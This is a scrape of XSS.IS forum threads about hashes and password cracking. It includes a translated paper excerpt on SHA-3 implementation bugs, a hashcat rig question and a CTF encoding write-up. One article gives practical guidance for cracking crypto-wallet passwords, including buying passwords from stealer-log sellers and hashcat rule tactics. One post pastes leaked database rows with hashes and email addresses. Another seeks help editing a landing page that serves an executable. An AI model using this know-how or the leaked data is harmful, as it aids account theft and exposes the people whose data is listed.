Поэтому может быть интересно рассмотреть подходы, использующие символьное выполнение. Подход, который мы описываем в этой статье с использованием KLEE, оказывается довольно простым в развертывании. Мы выполнили (частичную) проверку эквивалентности функции Update(), закомментировав строки, включающие содержимое сообщения и функцию сжатия. В производственной среде средства проверки переопределяют эти функции, а не комментируют их, поэтому проверки могут быть частью процесса непрерывной интеграции, подобного тому, как Amazon Web Services в настоящее время развертывает CBMC [14].

В то время как подходы, использующие большие тестовые векторы, могут занять некоторое время (особенно на медленном оборудовании), символическое выполнение может найти ошибки за несколько секунд или доказать правильность менее чем за 12 минут, как показано в таблице 1. приблизиться к низкозатратному подходу к формальным методам и проверке программ и, возможно, даже к более строгим подходам, используемым в таких проектах, как HACL* [32, 38] или SPARKSkein [13].

Действительно, тестом здесь было бы увидеть, насколько легко наш подход распространяется на другие заявки на конкурс SHA-3. Мы изучили реализации всех пяти финалистов конкурса и обнаружили, что можем либо доказать правильность, либо обнаружить новые ошибки (как в случае с Grøstl, где мы показываем, как неопределенное поведение может нарушить устойчивость к коллизиям реализации хеш-функции). И хотя наш подход предназначен для проверки соответствия двух вызовов Update() одному вызову конкатенации обоих входных данных, он также находит ошибки, которые могут быть вызваны одним вызовом Update(), как показано ошибками в Grøstl и Библиотека Apple CoreCrypto (поскольку они заставляют KLEE входить в бесконечный цикл).

Наконец, хотя наш подход был полезен для обнаружения ошибок, мы еще раз подчеркиваем, что недостаточно утверждать, что реализации правильны. Например, мы не делаем заявлений о потенциальных ошибках в Init(), Final() или Hash(), а также о потенциальных ошибках в закомментированных строках Update(). Мы также не занимаемся ошибками, связанными с использованием API, например обнаруженными Benmocha et al. [6].

Заключение и будущая работа

Мы пересмотрели реализации пяти финалистов конкурса NIST SHA-3. С 2008 по 2012 год они подвергались тщательному публичному рассмотрению. Однако только в 2015 году была обнаружена уязвимость в реализации BLAKE, а совсем недавно — в победившей заявке Kecak с использованием техники, которая впервые описана в этом документе.

Мы показали, как эти ошибки могут быть (повторно) обнаружены всего за несколько секунд, требуя лишь минимальных усилий для создания системы проверки исходного кода. Более того, мы также обнаружили уязвимость в представлении Grøstl, позволяющую создавать два сообщения, которые приводят к одному и тому же значению хеш-функции при компиляции с помощью clang. Наш подход также позволил бы обнаружить ошибку в библиотеке Apple CoreCrypto, о которой сообщалось в 2019 году.

Наш подход требует символьного выполнения, чтобы проверить, эквивалентны ли два вызова Update() (с некоторыми удаленными строками кода) одному вызову Update() при конкатенации обоих входных данных. Для проверки этого свойства мы использовали фреймворк символьного исполнения KLEE.

К сожалению, наш подход основан на пробах и ошибках. В частности, чтобы доказать, что ни одно из утверждений не работает, нам иногда приходилось немного переписывать код, чтобы избежать сбоя KLEE из-за взрыва пути. Это ограничение, поскольку в идеале мы хотели бы вообще не вносить изменений в исходный код, но, возможно, это приемлемый компромисс для достижения цели (частичной) проверки программы.

Интересное направление будущей работы — найти способ расширить наш подход на Keccak и SHA-3, когда размер блока не является степенью двойки.

**Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: **Nicky Mouha Strativia, Largo, MD, USA nicky@mouha.be

Помощь с кодировкой
ID: 676536fbb4103b69df3737ad
Thread ID: 88061
Created: 2023-05-15T22:09:07+0000
Last Post: 2023-05-15T22:09:07+0000
Author: colo8585
Replies: 0 Views: 847

Подскажите пожалуйста, что за кодировка 00390ea8d64223f66e1b1d0742f5a86000926b47fbec803eba5a0750eab272c4 . Заранее спасибо.

[Вопрос] Hashcat + RX 580
ID: 676536fbb4103b69df37372a
Thread ID: 126217
Created: 2024-11-04T16:59:33+0000
Last Post: 2024-11-04T21:48:42+0000
Author: Hy3m
Replies: 20 Views: 846

Всем добра.

Уже четвертый день пытаюсь запустить hascat на риге с RX 580.
Перебрал уже немеренно вариантов версий ОС и драйверов, практически во всех случаях или драйвера тупо не встают как факт, или не подходят для текущих видеокарт. Текущая конфигуация:

OS: Ubuntu 20.04.3
Kernel: 5.11.0-27-generic
Drivers: AMDGPU-PRO 21.30
Дальше всего вышгло зайти с версией hascat 6.2.6
С ней один раз удалось увидеть бенчмарк для одной карты (запускал поштучно), в остальных случаях система намертво виснет что при бенчмарке, что при попытке брута, на рандомном шаге. Примерно тут:

Spoiler: Споллер

./hashcat.bin -b -D 2 -m 400
hashcat (v6.2.3) starting in benchmark mode

Benchmarking uses hand-optimized kernel code by default.
You can use it in your cracking session by setting the -O option.
Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.

  • Device #1: Outdated POCL OpenCL driver detected!

This OpenCL driver may fail kernel compilation or produce false negatives.
You can use --force to override, but do not report related errors.

OpenCL API (OpenCL 1.2 pocl 1.4, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

  • Device #1: pthread-Intel(R) Pentium(R) CPU G4400 @ 3.30GHz, skipped

OpenCL API (OpenCL 2.1 AMD-APP (3302.5)) - Platform #2 [Advanced Micro Devices, Inc.]

  • Device #2: AMD Radeon RX 580 2048SP, 8064/8192 MB (6745 MB allocatable), 32MCU
  • Device #3: AMD Radeon RX 580 2048SP, 8064/8192 MB (6963 MB allocatable), 32MCU
  • Device #4: AMD Radeon RX 580 2048SP, 8064/8192 MB (6963 MB allocatable), 32MCU
  • Device #5: AMD Radeon RX 580 2048SP, 8064/8192 MB (6963 MB allocatable), 32MCU
  • Device #6: AMD Radeon RX 580 2048SP, 8064/8192 MB (6963 MB allocatable), 32MCU
  • Device #7: AMD Radeon RX 580 2048SP, 8064/8192 MB (6963 MB allocatable), 32MCU

Benchmark relevant options:

  • --opencl-device-types=2
  • --optimized-kernel-enable

Hashmode: 400 - phpass (Iterations: 2048)

Вывод clinfo (для одной карты, на остальных так же):

Spoiler: clinfo

Device Name Ellesmere
Device Vendor Advanced Micro Devices, Inc.
Device Vendor ID 0x1002
Device Version OpenCL 2.0 AMD-APP (3302.5)
Driver Version 3302.5 (PAL,HSAIL)
Device OpenCL C Version OpenCL C 2.0
Device Type GPU
Device Board Name (AMD) AMD Radeon RX 580 2048SP
Device Topology (AMD) PCI-E, 05:00.0
Device Profile FULL_PROFILE
Device Available Yes
Compiler Available Yes
Linker Available Yes
Max compute units 32
SIMD per compute unit (AMD) 4
SIMD width (AMD) 16
SIMD instruction width (AMD) 1
Max clock frequency 1180MHz
Graphics IP (AMD) 8.0
Device Partition (core)
Max number of sub-devices 32
Supported partition types None
Supported affinity domains (n/a)
Max work item dimensions 3
Max work item sizes 1024x1024x1024
Max work group size 256
Preferred work group size (AMD) 256
Max work group size (AMD) 1024
Preferred work group size multiple 64
Wavefront width (AMD) 64
Preferred / native vector sizes
char 4 / 4
short 2 / 2
int 1 / 1
long 1 / 1
half 1 / 1 (cl_khr_fp16)
float 1 / 1
double 1 / 1 (cl_khr_fp64)
Half-precision Floating-point support (cl_khr_fp16)
Denormals No
Infinity and NANs No
Round to nearest No
Round to zero No
Round to infinity No
IEEE754-2008 fused multiply-add No
Support is emulated in software No
Single-precision Floating-point support (core)
Denormals No
Infinity and NANs Yes
Round to nearest Yes
Round to zero Yes
Round to infinity Yes
IEEE754-2008 fused multiply-add Yes
Support is emulated in software No
Correctly-rounded divide and sqrt operations Yes
Double-precision Floating-point support (cl_khr_fp64)
Denormals Yes
Infinity and NANs Yes
Round to nearest Yes
Round to zero Yes
Round to infinity Yes
IEEE754-2008 fused multiply-add Yes
Support is emulated in software No
Address bits 64, Little-Endian
Global memory size 8589934592 (8GiB)
Global free memory (AMD) 8321004 (7.936GiB)
Global memory channels (AMD) 8
Global memory banks per channel (AMD) 4
Global memory bank width (AMD) 256 bytes
Error Correction support No
Max memory allocation 7301444403 (6.8GiB)
Unified memory for Host and Device No
Shared Virtual Memory (SVM) capabilities (core)
Coarse-grained buffer sharing Yes
Fine-grained buffer sharing Yes
Fine-grained system sharing No
Atomics No
Minimum alignment for any data type 128 bytes
Alignment of base address 2048 bits (256 bytes)
Preferred alignment for atomics
SVM 0 bytes
Global 0 bytes
Local 0 bytes
Max size for global variable 6571299840 (6.12GiB)
Preferred total size of global vars 8589934592 (8GiB)
Global Memory cache type Read/Write
Global Memory cache size 16384 (16KiB)
Global Memory cache line size 64 bytes
Image support Yes
Max number of samplers per kernel 16
Max size for 1D images from buffer 456340275 pixels
Max 1D or 2D image array size 2048 images
Base address alignment for 2D image buffers 256 bytes
Pitch alignment for 2D image buffers 256 pixels
Max 2D image size 16384x16384 pixels
Max 3D image size 2048x2048x2048 pixels
Max number of read image args 128
Max number of write image args 64
Max number of read/write image args 64
Max number of pipe args 16
Max active pipe reservations 16
Max pipe packet size 3006477107 (2.8GiB)
Local memory type Local
Local memory size 65536 (64KiB)
Local memory syze per CU (AMD) 65536 (64KiB)
Local memory banks (AMD) 32
Max number of constant args 8
Max constant buffer size 7301444403 (6.8GiB)
Preferred constant buffer size (AMD) 16384 (16KiB)
Max size of kernel argument 1024
Queue properties (on host)
Out-of-order execution No
Profiling Yes
Queue properties (on device)
Out-of-order execution Yes
Profiling Yes
Preferred size 262144 (256KiB)
Max size 8388608 (8MiB)
Max queues on device 1
Max events on device 1024
Prefer user sync for interop Yes
Number of P2P devices (AMD) 0
P2P devices (AMD) <printDeviceInfo:147: get number of CL_DEVICE_P2P_DEVICES_AMD : error -30>
Profiling timer resolution 1ns
Profiling timer offset since Epoch (AMD) 1730737330067452160ns (Mon Nov 4 19:22:10 2024)
Execution capabilities
Run OpenCL kernels Yes
Run native kernels No
Thread trace supported (AMD) Yes
Number of async queues (AMD) 4
Max real-time compute queues (AMD) 1
Max real-time compute units (AMD) 0
printf() buffer size 4194304 (4MiB)
Built-in kernels (n/a)
Device Extensions cl_khr_fp64 cl_amd_fp64 cl_khr_global_int32_base_atomics cl_khr_global_int32_extended_atomics cl_khr_local_int32_base_atomics cl_khr_local_int32_extended_atomics cl_khr_int64_base_atomics cl_khr_int64_extended_atomics cl_khr_3d_image_writes cl_khr_byte_addressable_store cl_khr_fp16 cl_khr_gl_sharing cl_khr_gl_depth_images cl_amd_device_attribute_query cl_amd_vec3 cl_amd_printf cl_amd_media_ops cl_amd_media_ops2 cl_amd_popcnt cl_khr_image2d_from_buffer cl_khr_subgroups cl_khr_gl_event cl_khr_depth_images cl_khr_mipmap_image cl_khr_mipmap_image_writes cl_amd_copy_buffer_p2p

Вывод hashcat -I (тоже для одной карты, остальные так же)

Spoiler: hashcat -i

Platform ID #2
Vendor : Advanced Micro Devices, Inc.
Name : AMD Accelerated Parallel Processing
Version : OpenCL 2.1 AMD-APP (3302.5)

Device ID #2
Type : GPU
Vendor ID : 1
Vendor : Advanced Micro Devices, Inc.
Name : Ellesmere
Version : OpenCL 2.0 AMD-APP (3302.5)
Processor(s) : 32
Clock : 1180
Memory : 6745/8192 MB allocatable
OpenCL Version : OpenCL C 2.0
Driver Version : 3302.5 (PAL,HSAIL)

Что можно еще попытаться сделать? Менять на Nvidia - не вариант)
Может у кого-то уже есть подобный опыт, нужные версии ядра и драйверов?
*Ubuntu не принципиально, взял по привычке, пофиг что, главное чтоб работало и можно было по сети через ssh или rdp зайти

Все что вы спрашивали про расшифровку и не боялись спросить
ID: 676536fbb4103b69df37378f
Thread ID: 92800
Created: 2023-07-12T21:31:05+0000
Last Post: 2023-07-15T14:54:50+0000
Author: f1rst
Prefix: Статья
Replies: 4 Views: 826

Давно хотел написать эту мини-статью, но было лень :) .
Все что вспомню/узнаю в будущем, буду дополнять в эту тему...

Тут я вам возможно не расскажу ничего нового, если так значит вы скорее всего уже не новичек, но возможно сможете найти полезные ресурсы или информацию...

«Rosariocentral40451252@!@#» - знакомьтесь это пароль для входа в один из известных криптокошельков.

Как я его получил?

С помощью метода, который впервые был применен в 1903 году- брутфорс
Первая в истории атака одним из самых заметных ранних примеров использования метода brute force в компьютерной сфере может считаться взлом шифра Enigma во время Второй мировой войны. Хотя там использовался более сложный подход, основанный на криптоанализе, но по сути это был brute force метод - перебор всех возможных комбинаций.
Но хватит с нас истории, перейдем к настоящему..

Часто можно увидеть на форумах как новичики пишут:
«Где найти свежие словари»
А в ответ получают:
«а чем старый словарь не аткуален?» (с) https://xss.is/threads/8351/post-639341

Здесь есть две стороны медали.

Да старые словари всегда были и остаются актуальны.
И нет, новые словари могут привести к более быстрой/эффективной рассшифровке.

Наример, с каждым годом появляется новые «хайпы» словечек, появляются также новые слова и как в русском, так и в зарубежном сегменте. Это может быть, как вновь вышедший фильм, сериал и т.п. Возьмем для примера сериал «Wednesday», смело можно предположить, что фанаты будут использовать данное слово в качестве пароля чаще чем в прошлых годах.

Актуальность словарей также обусловлена потребностями пользователя. Если человек работает в определенной области или хочет углубиться в конкретную тему, то для него наиболее подходящим будет словарь, который отражает актуальную лексику этого сегмента. Например, если вы работаете в сфере медицины или технологий, то новый словарь может содержать термины и слова, которые появились в последние годы и которые вам нужны для полноценной работы или общения в этой сфере. Так, в IT-сфере каждый год появляется множество новых терминов, связанных с развитием технологий, и вот тут уже "старые" словари (2020 года и т.п.) могут быть не актуальны. Появление таких терминов как "blockchain", "cryptocurrency", "AI" и многих других, стало важной частью языка. Если в 2020 году эти слова еще только начинали употреблять, то сегодня без их понимания сложно полноценно работать и общаться в данной сфере. В этом случае, свежие словари, которые включают эти термины, будут наиболее актуальны и полезны.

Нельзя забывать о том, что язык — это живой организм, который постоянно развивается и изменяется. Поэтому, если вы хотите быть в курсе последних языковых тенденций, то обновление словарного запаса будет непременно полезным. Это может касаться как общеупотребительного словаря, так и словарей специфической тематики.

Примером могут служить слова "подкаст" или "стрим". Эти термины появились относительно недавно, и если вы будете искать их в словарях, которые были созданы до их появления, скорее всего, вы ничего не найдете. Сегодня же эти слова являются частью активного словарного запаса большинства людей, особенно молодого поколения.

Отсюда вывод, **словари всегда остаются актуальными, как и прошлых годов так и актуальных текущих годов.

Так какие все-таки словари использовать?**

Лучше использовать словари из собственного опыта, а если таковых еще нет, то использовать словари, которые содержат список частоповторяющихся паролей, обычно они выглядят так:

Password123 3
QWE123 2
qWE123 1

Что значат эти цифры после паролей?

Это значит - сколько раз пароль попадался за определенный промежуток времени либо в какой-либо базе утечек за какой-либо год.

Использовав такие словари ваша скорость расшифровки может увеличиться.

С каких словарей все же начать новичку?

Во первых использовать все публичные.

Weakpass

HashMob | Password Recovery Community | Resources, Guides & Tutorials

HashMob - The Largest Password Recovery Community. Join our (discord) community, fully geared towards recovering the plains of hash algorithms. Fully supports non-binary hashcat algorithms. MD5, SHA1, ZIP, Bitcoin, Ethereum, Dogecoin Wallets - we have it all.

hashmob.net hashmob.net

(Стоит отметить что они сортиуруют пароли по порядку взависимости как часто пароль ппопадался)

https://forum.hashkiller.io/

и т.д.

А написав скрипт, который автоматически будет собирать эти словари для вас будет - бесценным. (Не делюсь, т.к. вы сами должны пройти через это)
Сейчас много где на форумах выкладывают login:pass, email:pass словари для брута, использовать их будет также эффективно.
Если у вас есть лишние деньги, вы можете договориться с каким либо селлером логов о продаже только паролей, обычно я покупаю за 800$ раз в месяц.
Во-вторых есть такое старое понятие как «real pass mining» и нет, это не майнинг криптовалюты, это подразумевает что вы будете майнить реальные пароли которые никто не смог обнаружить.
Т.е. мы берем самые быстрые хэши (md5, ntlm и т.п.) с таких ресурсов как hashmob.net , hashes.com и т.п. и начинаем прогонять изначально с помощью публичных словарей для отсеивания «мусорных паролей», далее начинаем брутить своими словарями, используем различные правила. Ну а чтобы не зря тратить электричество мы еще можем и заработать, загрузив пароли к хэшам на эти ресурсы.
Далее берем различные публичные правила, которые имеются и применяются для паролей. Самые эффективные на текущий момент это SuperUnicorn (https://github.com/Unic0rn28/hashcat-rules), FordyBigBoy и т.д. (по статистике которую вы обнаружите в конце статьи)

Либо брут в «лоб»(маски) т.е. перебираем до всех 8-9 символов (с условием что у вас нет проблем с мощностями (GPU).

«Цитата»
174region174 сказал(а):
"Зачем словарь создавать? Маски сделай.
Это будет намного быстрее.
Расположи в них всё как тебе известно в пароле." https://xss.is/threads/90719/post-631122
И тут все верно, но тоже имеет свое НО:
Использовать маски стоит в самую последнюю очередь, потому что они менее эффективны.

Эффективнее использовать маски когда у вас какая-либо информацию по паролю или есть какая-либо статистика по паролям к перебранным определенным типа хэшей/сайтов/тематики и т.п..
Если у вас собралось хотя бы 200 паролей которые вы допустим расшифровали для криптокошельков, которые имеют одни и те же правила создания паролей, вы можете их проанализировать, чтобы создать свои маски. Использовать можно эту утилиту в которая подробно описана в этой статье <https://iphelix.medium.com/tool-release-password-analysis-and-cracking- kit-31a3587f550f> (Требуется python2)
Если все же вам приходится работать в слепую, то стоит учитывать среднее количество букв в слове какого-либо алфавита. Честно, никогда этим не пользовался, прочитал в какой-то умной книжке.

Если вдруг у вас кончились все идеи и вы не знаете какие правила, словари и т.п. применять вы можете использовать правила hashcat - --generate- rules=999999 --debug-mode=1 --debug-file=matched.rule
Где 999999 количество рандомных правил которые применяются, а все правила которые нашли хотябы 1 пароль будут сохранены в matched.rule на вашем хосте GPU. Таким образом помимо паролей вы можете собрать также приватные правила, которые можете использовать повседневно.

Как удалять повторяющиеся пароли и пароли вида HEX[123123123]?
Я использую утилиту https://share.blandyuk.co.uk/apps/App.Merge.exe.zip
App.Merge.exe o="output-file.txt" t=4 [options] ... "word-list1.txt" "word- list2.lst" "directory1" ...
App.Merge.exe o="output-file.txt" t=4 [options] ... "word-list1.txt"
App.Merge.exe o="output-file.txt" t=4 [options] ... "directory1" ...
Для анализа волдлиста используйте следующую команду:
App.Merge.exe r="word-list1.txt"
o=[out-file] – Файл куда будет сохраняться файл
t=[threads] – Потоки которые будут применяться
c=[mem] – Ограничение по оперативной памяти, макс 3072.
min=[num] – минимальная длина пароля, по умолчанию 1
max=[num] – Максимальная длина пароля, макс 4096.
word-list1.txt, directory1 - Файл или папка с которой будут удаляться дубли.

Также существует таблица списка паролей, масок, правил, эффективной связки и т.п. которая может вам помочь в решении вашего вопроса:

![docs.google.com](/proxy.php?image=https%3A%2F%2Flh7-us.googleusercontent.com%2Fdocs%2FAHkbwyKOYdx8V1v3VPq3SH5qP41jS8-8VPrUGxLy6iW- ThtOWQulYGwxXZ4bj_21_UnYV8qBEj9DDcU7-2ZXNMAUNZHW0d0485DqPWmVnUN2HljGL0F9PNYR%3Dw1200-h630-p&hash=1b5b1ac8358ea26b3a9e50743e308452&return_error=1)

[ Wordlist tests

](https://docs.google.com/spreadsheets/d/1qQNwggWIWtL-m0EYrRg_vdwHOrZCY- SnWcYTwQN0fMk/edit#gid=1952927995)

docs.google.com docs.google.com

Обратите внимание на пункт рекомендации где для медленных и быстрых хешей указано оптимальные словари и правила для расшифровки в зависимости от количества свободного времени вашего GPU/CPU.

P.S. Эта статья отражает мое лично ИМХО, возможно я в чем-то и не прав, но мне как то похуй , я под квасом...
P.P.S Всех профессионалов приглашаю на CMIYC - https://contest-2023.korelogic.com/

Does anyone know what hash type this is?
ID: 676536fbb4103b69df37374c
Thread ID: 118883
Created: 2024-07-14T18:37:19+0000
Last Post: 2024-08-14T10:50:29+0000
Author: liuxing
Replies: 2 Views: 818

I got a database the seller gave me some data which is hash encrypted and I need to crack them is there some website that can crack it

If any brother knows, please tell me. Thank you very much.

,,D165FE7F8962363F90441E06609C5D8CB04411CC15E04924910E657F12099CD7AA46B1FCD24ACD49D19F7FF0,LambertQuintinadZ@yahoo.com,,,844958418,2024-05-20 15:04:35.000,,,,,
,,AE0298E3B39A9FDC654FA8B7786AF75EFFB8295FF0B18BE64F71A8A106F2BA22602CA95C7FD6EAC949175D1B,joedax@outlook.com,,,683825482,2024-05-20 15:30:18.000,,,,,
,,"884B4BAED49E80EA5AB3934D31AF709C2462F39A1CAB146821C0841396D54C60F09168F302964A33C4296898",s.alshawaf@yahoo.com,,,895295118,2024-05-20 16:00:54.000,,,,,
,,"2BC9F5613E1B8A103C4F10FFE22FB3C82E648127202C5060D31A3090546AD759DE847A272C22DC6E47B97B93",kathywilliams615@yahoo.com,,,191251305,2024-05-20 16:28:39.000,,,,,
,,"6889B2BC571E20CF7A5D373A4B9972C713B3BFF083BC404FF6299B42D2E4E2436B8AE95A67CBD16B5141E456",rqxavier@aol.

Помогите с base64
ID: 676536fbb4103b69df37379e
Thread ID: 90274
Created: 2023-06-12T09:12:26+0000
Last Post: 2023-06-12T12:12:12+0000
Author: LAB
Replies: 3 Views: 813

Привет всем! Помогите пожалуйста, проблема в следующем: есть страница лендинга на которой в base64 содержится локальный адрес вида /_/_/file.exe ну и выглядит соответственно как то так: LypfKi8qXyovZmlsZS5leGU=

Как мне найти этот код?

Связь с автором кто писал мне выдачу файла с ленда и объяснял где это место и как править его утеряна, а попытки самостоятельно найти не успешны.

Задавайте ваши вопросы. Консультация.
ID: 676536fbb4103b69df373773
Thread ID: 99386
Created: 2023-10-04T12:53:19+0000
Last Post: 2023-11-09T19:09:51+0000
Author: RIXFEL
Prefix: Мануал/Книга
Replies: 3 Views: 812

Вопросы:
Брутфорс

Хэши/Модули/Экстракт/Атаки/Возможности/Способы/Реализация/Ресурсы/ "Фишки"/Криптовалюта/Кошельки
_И многое другое.
Отвечу всем по мере возможности/онлайна.

Я увидел сообщение на форуме от SLIP
Решил поддержать его идеи Q&A на форуме.
Тема:

Ваши Вопросы

Задаём вопросы связанные с уязвимостями, и прочими вещами на тематику раздела. Запрещается: * Просьбы о взломе * Просьбы о поиске багов * Реклама своего ресурса

xss.is xss.is

_​

Кодировки, шифр сдвига, брут хешей и создание картинки с помощью PIL python
ID: 676536fbb4103b69df37389f
Thread ID: 41703
Created: 2020-09-03T10:40:37+0000
Last Post: 2020-09-03T10:40:37+0000
Author: tabac
Prefix: Мануал/Книга
Replies: 0 Views: 810

Данная статья содержит решений CTF заданий Encoding ASCII и Encoding UU направленные на кодировки, Hash Message Digest 5 и Hash SHA-2 — на нахождение прообраза хеша, Shift cipher — шифр сдвига, и Pixel Madness — на составление картинки.

Encoding — ASCII

Начнем с самого первого задания — Encoding-ASCII.

![image](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2F-e%2Fgu%2Fyb%2F-eguybwpb2ksr- tx3qxhquq9dz8.png&hash=eedf8150ce8e3580ecb870426cb8e093)

Переходим к самому заданию. Видим последовательность 16-ых символов. Самое первое предположение — это обычный hex (все символы представлены в 16-м виде).
image

Code:Copy to clipboard

s = "4C6520666C6167206465206365206368616C6C656E6765206573743A203261633337363438316165353436636436383964356239313237356433323465"
s.decode("hex")

image

Получаем ответ и идем далее.

Encoding — UU

image

Переходим к самому заданию. Даже не смотря на подсказку в названии задания, отличить файлы в UUE (кодировка для передачи файлов, содержащих не текстовые данные) формате легко — они начинаются со строки:

Code:Copy to clipboard

Begin_права-на-файл_название-файла

![image](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Frc%2Fao%2F-p%2Frcao- purz5m-q55pb8kg55yfiua.png&hash=56e367c5acd3881e254496b1f4c30546)

Code:Copy to clipboard

s = '''begin 644 root-me_challenge_uudeview
B5F5R>2!S:6UP;&4@.RD*4$%34R`](%5,5%)!4TE-4$Q%"@``
`
end'''
 
f = open('./uu.enc', 'w')
f.write(s)
f.close()

import uu
uu.decode('uu.enc', 'uu.dec')
ans = open('uu.dec', 'r').read()

image
Сдаем флаг.

Hash — Message Digest 5

image

Нас просят найти прообраз для хеша md5. Это можно легко сделать с помощью этого сайта (https://md5decrypt.net/). Но мы, в целях обучения конечно, используем hashcat. Для этого используем следующие параметры и коды:

  • -a 0 — перебор по словарю;
  • -m 0 — тип хеша MD5;
  • File.hash — файл с хешем;
  • rockyou.txt — наш словарь;
  • --force — игнорировать ошибки.

image
Переходим к следующему заданию.

Hash — SHA-2

image
В качестве ответа нужно дать SHA1 хеш от прообраза этого хэша. Дело в том, что в данной лишний символ.
image
Удалим его. Для того, чтоюы определить алгоритм хеширования используем программу hashid.

image
Из представленных алгоритмов наиболее вероятен SHA-256. Как решать такое задание с помощью hashcat показал, теперь сделаем его с помощью этого
сайта.
image
Осталось взять SHA-1 от этой строки.

Code:Copy to clipboard

from hashlib import *
sha1(‘4dM1n’).hexdigest()

image

Shift cipher

image

Ну с алгоритмом шифровани нам помогают. Тот же самый Шифр Цезаря, только сдвиг происходит не в диапозоне от нуля до длины алфавита, а по всем возможным 256 значениям одного байта. Напишем программу, которая сначала сдвинет каждый символ на 1, потом на 2 и т.д. до 255.

Code:Copy to clipboard

s = open(‘ch7.bin’, ‘r’).read()
for x in range(255):
“”.join( chr((ord(y) + x)%256 ) ) for y in s)

image
Среди строк найдем ту, которая содержит ответ.

image

Pixel Madness

image

Нам дают несколько выражений, а в конце говорят, что 0 — это белый цвет, а 1 — черный. Скорее всего в итоге должна получиться картинка. Предполагаю, что в выражении нужно не умножать, а повторять необходимое количество раз определенный символ.

Быстро можно выполнить выражение с помощью функции eval, но сначала нужно изменить формат 0x1 на ‘0’*1.

Code:Copy to clipboard

s = ''''0x3+1x1+0x1+0x1+0x7+1x2+0x15+1x1+0x8+1x1+0x8+1x1+0x1+1x1+0x1+1x1+0x1+1x1+0x1+1x1+0x3+1x1+0x1+1x1+0x3+1x1+0x1+1x4+0x2+1x1+0x25
'0x2+1x1+0x4+1x1+0x4+1x3+0x1+1x2+0x2+1x8+0x11+1x4+0x1+1x3+0x6+1x2+0x4+1x1+0x4+1x2+0x7+1x4+0x4+1x2+0x7+1x2+0x3+1x2+0x3
'0x3+1x1+0x2+1x1+0x2+1x1+0x11+1x2+0x2+1x3+0x7+1x1+0x4+1x2+0x2+1x2+0x7+1x1+0x6+1x1+0x2+1x1+0x4+1x3+0x1+1x1+0x4+1x1+0x2+1x1+0x2+1x1+0x3+1x1+0x2+1x3+0x2+1x2+0x3
'1x1+0x2+1x1+0x4+1x1+0x2+1x1+0x1+1x1+0x2+1x1+0x2+1x1+0x1+1x2+0x2+1x2+0x1+1x2+0x3+1x1+0x3+1x1+0x2+1x2+0x1+1x3+0x3+1x1+0x2+1x1+0x4+1x2+0x1+1x1+0x4+1x1+0x3+1x2+0x12+1x2+0x1+1x1+0x3+1x7+0x3
'0x3+1x1+0x7+1x1+0x1+1x1+0x4+1x1+0x2+1x2+0x2+1x2+0x4+1x1+0x2+1x1+0x1+1x2+0x1+1x8+0x1+1x1+0x4+1x1+0x5+1x1+0x3+1x2+0x2+1x1+0x1+1x2+0x2+1x1+0x3+1x2+0x9+1x1+0x1+1x2+0x2+1x3+0x2+1x1
'0x7+1x1+0x4+1x1+0x4+1x1+0x1+1x1+0x1+1x7+0x3+1x1+0x1+1x2+0x3+1x1+0x1+1x6+0x1+1x1+0x3+1x1+0x2+1x1+0x14+1x2+0x8+1x1+0x10+1x2+0x3+1x2+0x1+1x1+0x1
'0x6+1x5+0x4+1x1+0x7+1x1+0x2+1x1+0x3+1x2+0x4+1x1+0x8+1x1+0x3+1x2+0x1+1x2+0x3+1x1+0x8+1x1+0x2+1x2+0x1+1x1+0x3+1x7+0x5+1x2+0x2+1x1+0x2+1x2+0x3
'0x1+1x1+0x2+1x1+0x1+1x2+0x5+1x1+0x6+1x2+0x3+1x1+0x2+1x1+0x1+1x2+0x20+1x8+0x1+1x1+0x1+1x1+0x4+1x2+0x3+1x1+0x2+1x2+0x3+1x2+0x7+1x2+0x3+1x2+0x4
'0x2+1x1+0x3+1x5+0x5+1x2+0x7+1x1+0x4+1x2+0x2+1x1+0x2+1x2+0x1+1x1+0x3+1x1+0x6+1x2+0x2+1x2+0x3+1x2+0x2+1x3+0x1+1x1+0x6+1x3+0x3+1x5+0x3+1x1+0x4+1x1+0x5
'0x4+1x2+0x3+1x2+0x3+1x1+0x5+1x2+0x2+1x1+0x1+1x1+0x1+1x1+0x1+1x2+0x9+1x1+0x3+1x1+0x2+1x1+0x1+1x1+0x2+1x1+0x1+1x2+0x2+1x1+0x2+1x1+0x1+1x1+0x4+1x3+0x1+1x1+0x2+1x2+0x3+1x2+0x3+1x1+0x5+1x1+0x4+1x1+0x2
'0x6+1x5+0x4+1x1+0x1+1x1+0x2+1x2+0x6+1x1+0x1+1x7+0x4+1x3+0x3+1x1+0x4+1x1+0x2+1x2+0x4+1x1+0x6+1x1+0x6+1x8+0x3+1x1+0x5+1x1+0x7
'0x2+1x1+0x3+1x6+0x4+1x1+0x1+1x3+0x4+1x1+0x2+1x2+0x4+1x1+0x5+1x1+0x2+1x1+0x3+1x2+0x3+1x1+0x2+1x3+0x1+1x1+0x2+1x2+0x3+1x3+0x2+1x3+0x9+1x1+0x4+1x2+0x7+1x2'''

s = s.replace("x", "'*").replace("+","+'")
examp = s.split('\n')
bits = [eval(i) for i in examp]

print(bits)

image

Теперь создадим картинку с помощью библиотеки PIL. Допишем следующий код, выпоним и откроим получившуюся картинку.

Code:Copy to clipboard

from PIL import Image

width, height = len(bits[0]), len(bits)

pic = Image.new('RGB', (width, height))
pix = pic.load()

for i in range(height):
    for j in range(width):
         pix[j,i] = ( bits[i][j]=='0' and (255,255,255) or (0,0,0) )

pic.save('pixel.png')

image
Я приблизил картинку, читаем слово SOLUTION. На самом деле тут больше стеги, чем крипты. Данная статья будет интересна, скорее всего, только новичкам.

автор @RalfHacker

полезные списки слов
ID: 676536fbb4103b69df3737d9
Thread ID: 78144
Created: 2022-12-15T06:09:36+0000
Last Post: 2022-12-15T06:09:36+0000
Author: sarz
Replies: 0 Views: 808

multiple sources of wordlists that can be used for brute-force attacks:

what hash type is this?
ID: 676536fbb4103b69df3737b2
Thread ID: 87696
Created: 2023-05-10T21:09:01+0000
Last Post: 2023-05-10T21:15:35+0000
Author: gayl0rd
Replies: 1 Views: 805

what hash is this ?
$6$rounds=5000$0c0b53df0792921d$CBVO7MqDekN85RR/x442glZnIcfczf9CQYYByaP/F8Wr88boyYQKlEHjsgnUJp0TBPSxwfdDEOD8Bw9ghpyy7/
